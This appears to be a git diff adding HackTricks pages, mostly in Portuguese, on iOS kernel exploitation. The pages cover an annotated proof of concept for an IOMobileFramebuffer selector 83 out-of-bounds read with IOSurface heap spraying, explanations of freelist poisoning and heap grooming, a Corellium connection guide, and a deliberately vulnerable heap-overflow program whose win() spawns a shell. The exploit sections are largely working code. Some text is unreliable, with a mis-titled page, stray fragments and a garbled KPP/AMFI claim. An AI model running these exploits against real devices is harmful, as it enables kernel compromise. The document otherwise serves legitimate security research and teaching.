'type' selects which user client class/variant to instantiate. +ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn); +if (ret != KERN_SUCCESS) { +printf("failed to open userclient: %s\n", mach_error_string(ret)); +return; +} + +printf("client: 0x%x\n", shared_user_client_conn); + +printf("call externalMethod\n"); + +// 3) Prepare input scalars for the external method call. +// The vulnerable path uses a 32-bit scalar as an INDEX into an internal +// array of pointers WITHOUT bounds checking (OOB read / type confusion). +// We set it to a large value to force the out-of-bounds access. +uint64_t scalars[4] = { 0x0 }; +scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup + +// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID). +uint64_t output_scalars[4] = { 0 }; +uint32_t output_scalars_size = 1; + +printf("call s_default_fb_surface\n"); + +// 5) Invoke external method #83. +// On vulnerable builds, this path ends up calling: +// IOMobileFramebufferUserClient::s_displayed_fb_surface(...) +// → IOMobileFramebufferLegacy::get_displayed_surface(...) +// which uses our index to read a pointer and then passes it as IOSurface*. +// If the pointer is bogus, IOSurface code will dereference it and the kernel +// will panic (DoS). +ret = IOConnectCallMethod( +shared_user_client_conn, +83, // **Selector 83**: vulnerable external method +scalars, 1, // input scalars (count = 1; the OOB index) +NULL, 0, // no input struct +output_scalars, &output_scalars_size, // optional outputs +NULL, NULL); // no output struct + +// 6) Check the call result. On many vulnerable targets, you'll see either +// KERN_SUCCESS right before a panic (because the deref happens deeper), +// or an error if the call path rejects the request (e.g., entitlement/type). +if (ret != KERN_SUCCESS) { +printf("failed to call external method: 0x%x --> %s\n", +ret, mach_error_string(ret)); +return; +} + +printf("external method returned KERN_SUCCESS\n"); + +// 7) Clean up the user client connection handle. +IOServiceClose(shared_user_client_conn); +printf("success!\n"); +} +``` +## PoC de Leitura Arbitrária Explicado + +1. **Abrindo o user client correto** + +- `get_appleclcd_uc()` encontra o serviço **AppleCLCD** e abre o **user client type 2**. AppleCLCD e IOMobileFramebuffer compartilham a mesma tabela de external-methods; o type 2 expõe o **selector 83**, o método vulnerável. **Este é seu ponto de entrada para o bug.** E_POC/) + +**Por que o 83 importa:** o caminho decompilado é: + +- `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`\ +→ `IOMobileFramebufferUserClient::get_displayed_surface(...)`\ +→ `IOMobileFramebufferLegacy::get_displayed_surface(...)`\ +Dentro dessa última chamada, o código **usa seu scalar de 32 bits como um índice de array sem verificação de limites**, busca um ponteiro de **`this + 0xA58 + index*8`**, e **passa-o como um `IOSurface*`** para `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)`. **Isso é OOB + type confusion.** + +2. **O heap spray (por que IOSurface aparece aqui)** + +- `do_spray()` usa **`IOSurfaceRootUserClient`** para **criar muitas IOSurfaces** e **spray** pequenos valores (`s_set_value` style). Isso preenche heaps do kernel próximos com **ponteiros para objetos IOSurface válidos**. + +- **Objetivo:** quando o selector 83 lê além da tabela legítima, o **slot OOB provavelmente contém um ponteiro para uma das suas IOSurfaces (reais)** — então o posterior dereference **não crasha** e **tem sucesso**. IOSurface é um primitivo clássico de kernel spray bem documentado, e o post do Saar lista explicitamente os métodos **create / set_value / lookup** usados nesse fluxo de exploração. + +3. **O truque "offset/8" (o que esse índice realmente é)** + +- Em `trigger_oob(offset)`, você define `scalars[0] = offset / 8`. + +- **Por que dividir por 8?** O kernel faz **`base + index*8`** para calcular qual **slot do tamanho de um ponteiro** ler. Você está escolhendo o **"número do slot N"**, não um deslocamento em bytes. **Oito bytes por slot** em 64-bit. + +- Esse endereço computado é **`this + 0xA58 + index*8`**. O PoC usa uma constante grande (`0x1200000 + 0x1048`) simplesmente para avançar **muito além dos limites** para uma região que você tentou **popular densamente com ponteiros IOSurface**. **Se o spray "ganhar", o slot que você atingir será um `IOSurface*` válido.** + +4. **O que o selector 83 retorna (essa é a parte sutil)** + +- A chamada é: + +`IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0, +output_scalars, &output_scalars_size, NULL, NULL);`o + +- Internamente, depois da obtenção do ponteiro OOB, o driver chama\ +**`IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*)`**. + +- **Resultado:** **`output_scalars[0]` é um Mach port name (u32 handle) na sua task** para *qualquer ponteiro de objeto que você forneceu via OOB*. **Não é um raw kernel address leak; é um handle em userspace (send right).** Esse comportamento exato (copiar um *port name*) é mostrado na decompilação do Saar. + +**Por que isso é útil:** com um **port name** para a (suposta) IOSurface, você pode agora usar **IOSurfaceRoot methods** como: + +- **`s_lookup_surface_from_port` (method 34)** → converter a porta em um **surface ID** que você pode operar por meio de outras chamadas do IOSurface, e + +- **`s_create_port_from_surface` (method 35)** se você precisar do inverso.\ +Saar aponta esses métodos exatos como o próximo passo. **O PoC está provando que você pode "fabricar" um IOSurface handle legítimo a partir de um slot OOB.** [Saaramar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/?utm_source=chatgpt.com) + +Este [PoC was taken from here](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC/blob/main/poc/exploit.c) and added some comments to explain the steps: +```c +#include "exploit.h" + +// Open the AppleCLCD (aka IOMFB) user client so we can call external methods. +io_connect_t get_appleclcd_uc(void) { +kern_return_t ret; +io_connect_t shared_user_client_conn = MACH_PORT_NULL; +int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds. ⭐ +// (AppleCLCD and IOMobileFramebuffer share the same external methods table.) + +// Find the **AppleCLCD** service in the IORegistry. +io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, +IOServiceMatching("AppleCLCD")); +if(service == MACH_PORT_NULL) { +printf("[-] failed to open service\n"); +return MACH_PORT_NULL; +} +printf("[*] AppleCLCD service: 0x%x\n", service); + +// Open a user client connection to AppleCLCD with the chosen **type**. +ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn); +if(ret != KERN_SUCCESS) { +printf("[-] failed to open userclient: %s\n", mach_error_string(ret)); +return MACH_PORT_NULL; +} +printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn); +return shared_user_client_conn; +} + +// Trigger the OOB index path of external method #83. +// The 'offset' you pass is in bytes; dividing by 8 converts it to the +// index of an 8-byte pointer slot in the internal table at (this + 0xA58). +uint64_t trigger_oob(uint64_t offset) { +kern_return_t ret; + +// The method takes a single 32-bit scalar that it uses as an index. +uint64_t scalars[1] = { 0x0 }; +scalars[0] = offset / 8; // **index = byteOffset / sizeof(void*)**. ⭐ + +// #83 returns one scalar. In this flow it will be the Mach port name +// (a u32 handle in our task), not a kernel pointer. +uint64_t output_scalars[1] = { 0 }; +uint32_t output_scalars_size = 1; + +io_connect_t appleclcd_uc = get_appleclcd_uc(); +if (appleclcd_uc == MACH_PORT_NULL) { +return 0; +} + +// Call external method 83. Internally: +// ptr = *(this + 0xA58 + index*8); // OOB pointer fetch +// IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out) +// which creates a send right for that object and writes its port name +// into output_scalars[0]. If ptr is junk → deref/panic (DoS). +ret = IOConnectCallMethod(appleclcd_uc, 83, +scalars, 1, +NULL, 0, +output_scalars, &output_scalars_size, +NULL, NULL); + +if (ret != KERN_SUCCESS) { +printf("[-] external method 83 failed: %s\n", mach_error_string(ret)); +return 0; +} + +// This is the key: you get back a Mach port name (u32) to whatever +// object was at that OOB slot (ideally an IOSurface you sprayed). +printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]); +return output_scalars[0]; +} + +// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a +// real IOSurface (easier & stabler than a fully fake object). +bool do_spray(void) { +char data[0x10]; +memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying. + +// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent). +io_connect_t iosurface_uc = get_iosurface_root_uc(); +if (iosurface_uc == MACH_PORT_NULL) { +printf("[-] do_spray: failed to allocate new iosurface_uc\n"); +return false; +} + +// Create many IOSurfaces and use set_value / value spray helpers +// (Brandon Azad-style) to fan out allocations in kalloc. ⭐ +int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int)); +for (size_t i = 0; i < SURFACES_COUNT; ++i) { +surface_ids[i] = create_surface(iosurface_uc); // s_create_surface +if (surface_ids[i] <= 0) { +return false; +} + +// Spray small values repeatedly: tends to allocate/fill predictable +// kalloc regions near where the IOMFB table OOB will read from. +// The “with_gc” flavor forces periodic GC to keep memory moving/packed. +if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i], +20, 200, // rounds, per-round items +data, sizeof(data), +NULL) == false) { +printf("iosurface spray failed\n"); +return false; +} +} +return true; +} + +int main(void) { +// Ensure we can talk to IOSurfaceRoot (some helpers depend on it). +io_connect_t iosurface_uc = get_iosurface_root_uc(); +if (iosurface_uc == MACH_PORT_NULL) { +return 0; +} + +printf("[*] do spray\n"); +if (do_spray() == false) { +printf("[-] shape failed, abort\n"); +return 1; +} +printf("[*] spray success\n"); + +// Trigger the OOB read. The magic constant chooses a pointer-slot +// far beyond the legit array (offset is in bytes; index = offset/8). +// If the spray worked, this returns a **Mach port name** (handle) to one +// of your sprayed IOSurfaces; otherwise it may crash. +printf("[*] trigger\n"); +trigger_oob(0x1200000 + 0x1048); +return 0; +} +``` +## Referências +- [Writeup original de Saar Amar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/) +- [Exploit PoC code](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC) +- [Pesquisa de jsherman212](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html?utm_source=chatgpt.com) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/README.md b/src/binary-exploitation/ios-exploiting/README.md new file mode 100644 index 000000000..fa8033507 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/README.md @@ -0,0 +1,272 @@ +# Exploração de iOS + +{{#include ../../banners/hacktricks-training.md}} + +## iOS Exploit Mitigations + +- **Code Signing** in iOS funciona exigindo que cada pedaço de código executável (apps, libraries, extensions, etc.) seja criptograficamente assinado com um certificado emitido pela Apple. Quando o código é carregado, o iOS verifica a assinatura digital contra a root de confiança da Apple. Se a assinatura for inválida, ausente ou modificada, o SO se recusa a executá-lo. Isso impede que atacantes injetem código malicioso em apps legítimos ou executem binários unsigned, bloqueando a maioria das cadeias de exploit que dependem de executar código arbitrário ou adulterado. +- **CoreTrust** é o subsistema do iOS responsável por impor code signing em tempo de execução. Ele verifica diretamente as assinaturas usando o certificado root da Apple sem depender de caches de confiança, significando que apenas binários assinados pela Apple (ou com entitlements válidos) podem executar. CoreTrust garante que mesmo se um atacante adulterar um app após a instalação, modificar system libraries, ou tentar carregar código unsigned, o sistema bloqueará a execução a menos que o código ainda esteja devidamente assinado. Essa aplicação estrita fecha muitos vetores pós-exploração que versões antigas do iOS permitiam através de checagens de assinatura mais fracas ou contornáveis. +- **Data Execution Prevention (DEP)** marca regiões de memória como non-executable a menos que explicitamente contenham código. Isso impede que atacantes injetem shellcode em regiões de dados (como stack ou heap) e o executem, forçando-os a depender de técnicas mais complexas como ROP (Return-Oriented Programming). +- **ASLR (Address Space Layout Randomization)** randomiza os endereços de memória de code, libraries, stack e heap a cada execução do sistema. Isso torna muito mais difícil para atacantes prever onde instruções ou gadgets úteis estarão, quebrando muitas cadeias de exploit que dependem de layouts de memória fixos. +- **KASLR (Kernel ASLR)** aplica o mesmo conceito de randomização ao iOS kernel. Ao embaralhar o base address do kernel a cada boot, evita que atacantes localizem de forma confiável funções ou estruturas do kernel, aumentando a dificuldade de exploits em nível de kernel que, de outra forma, ganhariam controle total do sistema. +- **Kernel Patch Protection (KPP)** também conhecido como **AMCC (Apple Mobile File Integrity)** no iOS, monitora continuamente as páginas de código do kernel para garantir que não foram modificadas. Se qualquer adulteração for detectada — como um exploit tentando patchar funções do kernel ou inserir código malicioso — o dispositivo entra em panic e reinicia imediatamente. Essa proteção torna exploits persistentes de kernel muito mais difíceis, já que atacantes não podem simplesmente hookar ou patchar instruções do kernel sem disparar um crash do sistema. +- **Kernel Text Readonly Region (KTRR)** é uma feature de segurança baseada em hardware introduzida em dispositivos iOS. Ela usa o memory controller da CPU para marcar a seção de código (text) do kernel como permanentemente read-only após o boot. Uma vez travada, até mesmo o próprio kernel não pode modificar essa região de memória. Isso impede que atacantes — e mesmo código privilegiado — patcharem instruções do kernel em tempo de execução, fechando uma grande classe de exploits que dependiam de modificar o código do kernel diretamente. +- **Pointer Authentication Codes (PAC)** usam assinaturas criptográficas embutidas em bits não usados de pointers para verificar sua integridade antes do uso. Quando um pointer (como um return address ou function pointer) é criado, a CPU o assina com uma chave secreta; antes de desreferenciar, a CPU verifica a assinatura. Se o pointer foi adulterado, a checagem falha e a execução para. Isso impede que atacantes forjem ou reutilizem pointers corrompidos em vulnerabilidades de corrupção de memória, tornando técnicas como ROP ou JOP muito mais difíceis de executar de forma confiável. +- **Privilege Access never (PAN)** é uma feature de hardware que evita que o kernel (modo privilegiado) acesse diretamente a memória user-space a menos que explicitamente habilite esse acesso. Isso impede que atacantes que obtiveram execução de código no kernel leiam ou escrevam facilmente memória de usuário para escalar exploits ou roubar dados sensíveis. Ao impor separação estrita, PAN reduz o impacto de exploits de kernel e bloqueia muitas técnicas comuns de elevação de privilégios. +- **Page Protection Layer (PPL)** é um mecanismo de segurança do iOS que protege regiões críticas de memória gerenciadas pelo kernel, especialmente aquelas relacionadas a code signing e entitlements. Ele aplica proteções estritas de escrita usando a MMU (Memory Management Unit) e checagens adicionais, garantindo que mesmo código privilegiado do kernel não possa modificar arbitrariamente páginas sensíveis. Isso impede que atacantes que obtiverem execução em nível de kernel adulterem estruturas críticas de segurança, tornando persistência e bypasses de code-signing significativamente mais difíceis. + +## Old Kernel Heap (Pre-iOS 15 / Pre-A12 era) + +O kernel usava um **zone allocator** (`kalloc`) dividido em "zones" de tamanho fixo. +Cada zone armazenava apenas allocations de uma única size class. + +A partir da captura de tela: + +| Zone Name | Element Size | Example Use | +|----------------------|--------------|-----------------------------------------------------------------------------| +| `default.kalloc.16` | 16 bytes | Very small kernel structs, pointers. | +| `default.kalloc.32` | 32 bytes | Small structs, object headers. | +| `default.kalloc.64` | 64 bytes | IPC messages, tiny kernel buffers. | +| `default.kalloc.128` | 128 bytes | Medium objects like parts of `OSObject`. | +| `default.kalloc.256` | 256 bytes | Larger IPC messages, arrays, device structures. | +| … | … | … | +| `default.kalloc.1280`| 1280 bytes | Large structures, IOSurface/graphics metadata. | + +Como funcionava: +- Cada pedido de allocation era **arredondado para cima** até o tamanho da zone mais próxima. +(P.ex., um pedido de 50 bytes cairia na zone `kalloc.64`). +- A memória em cada zone era mantida em uma **freelist** — chunks freed pelo kernel voltavam para essa zone. +- Se você overflowasse um buffer de 64 bytes, você sobrescreveria o **next object in the same zone**. + +É por isso que **heap spraying / feng shui** era tão eficaz: você podia prever objetos vizinhos pulverizando allocations da mesma size class. + +### The freelist + +Dentro de cada kalloc zone, objetos freed não eram retornados diretamente ao sistema — eles iam para uma freelist, uma linked list de chunks disponíveis. + +- Quando um chunk era freed, o kernel escrevia um pointer no início desse chunk → o endereço do próximo chunk livre na mesma zone. + +- A zone mantinha um ponteiro HEAD para o primeiro chunk livre. + +- A allocation sempre usava o HEAD atual: + +1. Pop HEAD (retorna aquela memória para o caller). + +2. Atualiza HEAD = HEAD->next (armazenado no header do chunk freed). + +- Freeing empurrava chunks de volta: + +- `freed_chunk->next = HEAD` + +- `HEAD = freed_chunk` + +Então a freelist era apenas uma linked list construída dentro da própria memória liberada. + +Estado normal: +``` +Zone page (64-byte chunks for example): +[ A ] [ F ] [ F ] [ A ] [ F ] [ A ] [ F ] + +Freelist view: +HEAD ──► [ F ] ──► [ F ] ──► [ F ] ──► [ F ] ──► NULL +(next ptrs stored at start of freed chunks) +``` +### Explorando a freelist + +Porque os primeiros 8 bytes de um free chunk = freelist pointer, um atacante poderia corrompê-lo: + +1. **Heap overflow** em um freed chunk adjacente → sobrescrever seu “next” pointer. + +2. **Use-after-free** escrever em um freed object → sobrescrever seu “next” pointer. + +Então, na próxima alocação desse tamanho: + +- O allocator faz pop do chunk corrompido. + +- Segue o “next” pointer fornecido pelo atacante. + +- Retorna um ponteiro para memória arbitrária, permitindo fake object primitives ou overwrite direcionado. + +Visual example of freelist poisoning: +``` +Before corruption: +HEAD ──► [ F1 ] ──► [ F2 ] ──► [ F3 ] ──► NULL + +After attacker overwrite of F1->next: +HEAD ──► [ F1 ] +(next) ──► 0xDEAD_BEEF_CAFE_BABE (attacker-chosen) + +Next alloc of this zone → kernel hands out memory at attacker-controlled address. +``` +This freelist design made exploitation highly effective pre-hardening: predictable neighbors from heap sprays, raw pointer freelist links, and no type separation allowed attackers to escalate UAF/overflow bugs into arbitrary kernel memory control. + +### Heap Grooming / Feng Shui +The goal of heap grooming is to **shape the heap layout** so that when an attacker triggers an overflow or use-after-free, the target (victim) object sits right next to an attacker-controlled object.\ +That way, when memory corruption happens, the attacker can reliably overwrite the victim object with controlled data. + +**Steps:** + +1. Spray allocations (fill the holes) +- Over time, the kernel heap gets fragmented: some zones have holes where old +objects were freed. +- The attacker first makes lots of dummy allocations to fill these gaps, so +the heap becomes “packed” and predictable. + +2. Force new pages +- Once the holes are filled, the next allocations must come from new pages +added to the zone. +- Fresh pages mean objects will be clustered together, not scattered across +old fragmented memory. +- This gives the attacker much better control of neighbors. + +3. Place attacker objects +- The attacker now sprays again, creating lots of attacker-controlled objects +in those new pages. +- These objects are predictable in size and placement (since they all belong +to the same zone). + +4. Free a controlled object (make a gap) +- The attacker deliberately frees one of their own objects. +- This creates a “hole” in the heap, which the allocator will later reuse for +the next allocation of that size. + +5. Victim object lands in the hole +- The attacker triggers the kernel to allocate the victim object (the one +they want to corrupt). +- Since the hole is the first available slot in the freelist, the victim is +placed exactly where the attacker freed their object. + +6. Overflow / UAF into victim +- Now the attacker has attacker-controlled objects around the victim. +- By overflowing from one of their own objects (or reusing a freed one), they +can reliably overwrite the victim’s memory fields with chosen values. + +**Why it works**: + +- Zone allocator predictability: allocations of the same size always come from +the same zone. +- Freelist behavior: new allocations reuse the most recently freed chunk first. +- Heap sprays: attacker fills memory with predictable content and controls layout. +- End result: attacker controls where the victim object lands and what data sits +next to it. + +--- + +## Modern Kernel Heap (iOS 15+/A12+ SoCs) + +Apple hardened the allocator and made **heap grooming much harder**: + +### 1. From Classic kalloc to kalloc_type +- **Before**: a single `kalloc.` zone existed for each size class (16, 32, 64, … 1280, etc.). Any object of that size was placed there → attacker objects could sit next to privileged kernel objects. +- **Now**: +- Kernel objects are allocated from **typed zones** (`kalloc_type`). +- Each type of object (e.g., `ipc_port_t`, `task_t`, `OSString`, `OSData`) has its own dedicated zone, even if they’re the same size. +- The mapping between object type ↔ zone is generated from the **kalloc_type system** at compile time. + +An attacker can no longer guarantee that controlled data (`OSData`) ends up adjacent to sensitive kernel objects (`task_t`) of the same size. + +### 2. Slabs and Per-CPU Caches +- The heap is divided into **slabs** (pages of memory carved into fixed-size chunks for that zone). +- Each zone has a **per-CPU cache** to reduce contention. +- Allocation path: +1. Try per-CPU cache. +2. If empty, pull from the global freelist. +3. If freelist is empty, allocate a new slab (one or more pages). +- **Benefit**: This decentralization makes heap sprays less deterministic, since allocations may be satisfied from different CPUs’ caches. + +### 3. Randomization inside zones +- Within a zone, freed elements are not handed back in simple FIFO/LIFO order. +- Modern XNU uses **encoded freelist pointers** (safe-linking like Linux, introduced ~iOS 14). +- Each freelist pointer is **XOR-encoded** with a per-zone secret cookie. +- This prevents attackers from forging a fake freelist pointer if they gain a write primitive. +- Some allocations are **randomized in their placement within a slab**, so spraying doesn’t guarantee adjacency. + +### 4. Guarded Allocations +- Certain critical kernel objects (e.g., credentials, task structures) are allocated in **guarded zones**. +- These zones insert **guard pages** (unmapped memory) between slabs or use **redzones** around objects. +- Any overflow into the guard page triggers a fault → immediate panic instead of silent corruption. + +### 5. Page Protection Layer (PPL) and SPTM +- Even if you control a freed object, you can’t modify all of kernel memory: +- **PPL (Page Protection Layer)** enforces that certain regions (e.g., code signing data, entitlements) are **read-only** even to the kernel itself. +- On **A15/M2+ devices**, this role is replaced/enhanced by **SPTM (Secure Page Table Monitor)** + **TXM (Trusted Execution Monitor)**. +- These hardware-enforced layers mean attackers can’t escalate from a single heap corruption to arbitrary patching of critical security structures. + +### 6. Large Allocations +- Not all allocations go through `kalloc_type`. +- Very large requests (above ~16KB) bypass typed zones and are served directly from **kernel VM (kmem)** via page allocations. +- These are less predictable, but also less exploitable, since they don’t share slabs with other objects. + +### 7. Allocation Patterns Attackers Target +Even with these protections, attackers still look for: +- **Reference count objects**: if you can tamper with retain/release counters, you may cause use-after-free. +- **Objects with function pointers (vtables)**: corrupting one still yields control flow. +- **Shared memory objects (IOSurface, Mach ports)**: these are still attack targets because they bridge user ↔ kernel. + +But — unlike before — you can’t just spray `OSData` and expect it to neighbor a `task_t`. You need **type-specific bugs** or **info leaks** to succeed. + +### Example: Allocation Flow in Modern Heap + +Suppose userspace calls into IOKit to allocate an `OSData` object: + +1. **Type lookup** → `OSData` maps to `kalloc_type_osdata` zone (size 64 bytes). +2. Check per-CPU cache for free elements. +- If found → return one. +- If empty → go to global freelist. +- If freelist empty → allocate a new slab (page of 4KB → 64 chunks of 64 bytes). +3. Return chunk to caller. + +**Freelist pointer protection**: +- Each freed chunk stores the address of the next free chunk, but encoded with a secret key. +- Overwriting that field with attacker data won’t work unless you know the key. + + +## Comparison Table + +| Feature | **Old Heap (Pre-iOS 15)** | **Modern Heap (iOS 15+ / A12+)** | +|---------------------------------|------------------------------------------------------------|--------------------------------------------------| +| Allocation granularity | Fixed size buckets (`kalloc.16`, `kalloc.32`, etc.) | Size + **type-based buckets** (`kalloc_type`) | +| Placement predictability | High (same-size objects side by side) | Low (same-type grouping + randomness) | +| Freelist management | Raw pointers in freed chunks (easy to corrupt) | **Encoded pointers** (safe-linking style) | +| Adjacent object control | Easy via sprays/frees (feng shui predictable) | Hard — typed zones separate attacker objects | +| Kernel data/code protections | Few hardware protections | **PPL / SPTM** protect page tables & code pages | +| Exploit reliability | High with heap sprays | Much lower, requires logic bugs or info leaks | + +## (Old) Physical Use-After-Free via IOSurface + +{{#ref}} +ios-physical-uaf-iosurface.md +{{#endref}} + +--- + +## Ghidra Install BinDiff + +Download BinDiff DMG from [https://www.zynamics.com/bindiff/manual](https://www.zynamics.com/bindiff/manual) and install it. + +Open Ghidra with `ghidraRun` and go to `File` --> `Install Extensions`, press the add button and select the path `/Applications/BinDiff/Extra/Ghidra/BinExport` and click OK and install it even if there is a version mismatch. + +### Using BinDiff with Kernel versions + +1. Go to the page [https://ipsw.me/](https://ipsw.me/) and download the iOS versions you want to diff. These will be `.ipsw` files. +2. Decompress until you get the bin format of the kernelcache of both `.ipsw` files. You have information on how to do this on: + +{{#ref}} +../../macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md +{{#endref}} + +3. Open Ghidra with `ghidraRun`, create a new project and load the kernelcaches. +4. Open each kernelcache so they are automatically analyzed by Ghidra. +5. Then, on the project Window of Ghidra, right click each kernelcache, select `Export`, select format `Binary BinExport (v2) for BinDiff` and export them. +6. Open BinDiff, create a new workspace and add a new diff indicating as primary file the kernelcache that contains the vulnerability and as secondary file the patched kernelcache. + +--- + +## Finding the right XNU version + +If you want to check for vulnerabilities in a specific version of iOS, you can check which XNU release version the iOS version uses at [https://www.theiphonewiki.com/wiki/kernel]https://www.theiphonewiki.com/wiki/kernel). + +For example, the versions `15.1 RC`, `15.1` and `15.1.1` use the version `Darwin Kernel Version 21.1.0: Wed Oct 13 19:14:48 PDT 2021; root:xnu-8019.43.1~1/RELEASE_ARM64_T8006`. + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/ios-corellium.md b/src/binary-exploitation/ios-exploiting/ios-corellium.md new file mode 100644 index 000000000..80a2ef8be --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/ios-corellium.md @@ -0,0 +1,79 @@ +# iOS How to Connect to Corellium + +{{#include ../../banners/hacktricks-training.md}} + +## **Pré-requisitos** +- Uma Corellium iOS VM (jailbroken ou não). Neste guia assumimos que você tem acesso ao Corellium. +- Ferramentas locais: **ssh/scp**. +- (Opcional) **SSH keys** adicionadas ao seu projeto Corellium para logins sem senha. + + +## **Conectar ao iPhone VM a partir do localhost** + +### A) **Quick Connect (sem VPN)** +0) Adicione sua ssh key em **`/admin/projects`** (recomendado). +1) Abra a página do dispositivo → **Connect** +2) **Copy the Quick Connect SSH command** mostrado pelo Corellium e cole no seu terminal. +3) Digite a senha ou use sua chave (recomendado). + +### B) **VPN → SSH direto** +0) Adicione sua ssh key em **`/admin/projects`** (recomendado). +1) Página do dispositivo → **CONNECT** → **VPN** → baixe `.ovpn` e conecte com qualquer cliente VPN que suporte TAP mode. (Check [https://support.corellium.com/features/connect/vpn](https://support.corellium.com/features/connect/vpn) if you have issues.) +2) Conecte via SSH ao endereço **10.11.x.x** da VM: +```bash +ssh root@10.11.1.1 +``` +## **Upload a native binary & execute it** + +### 2.1 **Upload** +- Se o Quick Connect lhe forneceu um host/port: +```bash +scp -J ./mytool root@10.11.1.1:/var/root/mytool +``` +- Se estiver usando VPN (10.11.x.x): +```bash +scp ./mytool -J root@10.11.1.1:/var/root/mytool +``` +## **Enviar e instalar um app iOS (.ipa)** + +### Caminho A — **Web UI (mais rápido)** +1) Página do dispositivo → aba **Apps** → **Install App** → selecione seu `.ipa`. +2) Na mesma aba você pode **iniciar/encerrar/desinstalar**. + +### Caminho B — **Scripted via Corellium Agent** +1) Use o API Agent para **enviar** e depois **instalar**: +```js +// Node.js (pseudo) using Corellium Agent +await agent.upload("./app.ipa", "/var/tmp/app.ipa"); +await agent.install("/var/tmp/app.ipa", (progress, status) => { +console.log(progress, status); +}); +``` +### Path C — **Non-jailbroken (proper signing / Sideloadly)** +- Se você não tem um provisioning profile, use **Sideloadly** para re-assinar com seu Apple ID, ou faça login no Xcode. +- Você também pode expor a VM para o Xcode usando **USBFlux** (veja §5). + + +- Para logs/comandos rápidos sem SSH, use o dispositivo **Console** na UI. + +## **Extras** + +- **Port-forwarding** (faça a VM parecer local para outras ferramentas): +```bash +# Forward local 2222 -> device 22 +ssh -N -L 2222:127.0.0.1:22 root@10.11.1.1 +# Now you can: scp -P 2222 file root@10.11.1.1:/var/root/ +``` +- **LLDB remote debugging**: use o endereço **LLDB/GDB stub** mostrado na parte inferior da página do dispositivo (CONNECT → LLDB). + +- **USBFlux (macOS/Linux)**: apresente a VM ao **Xcode/Sideloadly** como um dispositivo conectado por cabo. + + +## **Problemas comuns** +- **Assinatura adequada** é necessária em dispositivos **non-jailbroken**; IPAs não assinadas não irão iniciar. +- **Quick Connect vs VPN**: Quick Connect é o mais simples; use **VPN** quando precisar que o dispositivo esteja na sua rede local (por exemplo, proxies/ferramentas locais). +- **No App Store** em dispositivos Corellium; traga suas próprias IPAs (re)signed. + + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md b/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md new file mode 100644 index 000000000..350a625b7 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md @@ -0,0 +1,205 @@ +# iOS Como Conectar ao Corellium + +{{#include ../../banners/hacktricks-training.md}} + +## Vuln Code +```c +#define _GNU_SOURCE +#include +#include +#include +#include + +__attribute__((noinline)) +static void safe_cb(void) { +puts("[*] safe_cb() called — nothing interesting here."); +} + +__attribute__((noinline)) +static void win(void) { +puts("[+] win() reached — spawning shell..."); +fflush(stdout); +system("/bin/sh"); +exit(0); +} + +typedef void (*cb_t)(void); + +typedef struct { +cb_t cb; // <--- Your target: overwrite this with win() +char tag[16]; // Cosmetic (helps make the chunk non-tiny) +} hook_t; + +static void fatal(const char *msg) { +perror(msg); +exit(1); +} + +int main(void) { +// Make I/O deterministic +setvbuf(stdout, NULL, _IONBF, 0); + +// Print address leak so exploit doesn't guess ASLR +printf("[*] LEAK win() @ %p\n", (void*)&win); + +// 1) Allocate the overflow buffer +size_t buf_sz = 128; +char *buf = (char*)malloc(buf_sz); +if (!buf) fatal("malloc buf"); +memset(buf, 'A', buf_sz); + +// 2) Allocate the hook object (likely adjacent in same magazine/size class) +hook_t *h = (hook_t*)malloc(sizeof(hook_t)); +if (!h) fatal("malloc hook"); +h->cb = safe_cb; +memcpy(h->tag, "HOOK-OBJ", 8); + +// A tiny bit of noise to look realistic (and to consume small leftover holes) +void *spacers[16]; +for (int i = 0; i < 16; i++) { +spacers[i] = malloc(64); +if (spacers[i]) memset(spacers[i], 0xCC, 64); +} + +puts("[*] You control a write into the 128B buffer (no bounds check)."); +puts("[*] Enter payload length (decimal), then the raw payload bytes."); + +// 3) Read attacker-chosen length and then read that many bytes → overflow +char line[64]; +if (!fgets(line, sizeof(line), stdin)) fatal("fgets"); +unsigned long n = strtoul(line, NULL, 10); + +// BUG: no clamp to 128 +ssize_t got = read(STDIN_FILENO, buf, n); +if (got < 0) fatal("read"); +printf("[*] Wrote %zd bytes into 128B buffer.\n", got); + +// 4) Trigger: call the hook's callback +puts("[*] Calling h->cb() ..."); +h->cb(); + +puts("[*] Done."); +return 0; +} +``` +Compile-o com: +```bash +clang -O0 -Wall -Wextra -std=c11 -o heap_groom vuln.c +``` +## Exploit + +> [!WARNING] +> Este exploit está definindo a variável de ambiente `MallocNanoZone=0` para desabilitar o NanoZone. Isso é necessário para obter alocações adjacentes ao chamar `malloc` com tamanhos pequenos. Sem isso, diferentes chamadas a `malloc` serão alocadas em zonas diferentes e não estarão adjacentes e, portanto, o overflow não funcionará como 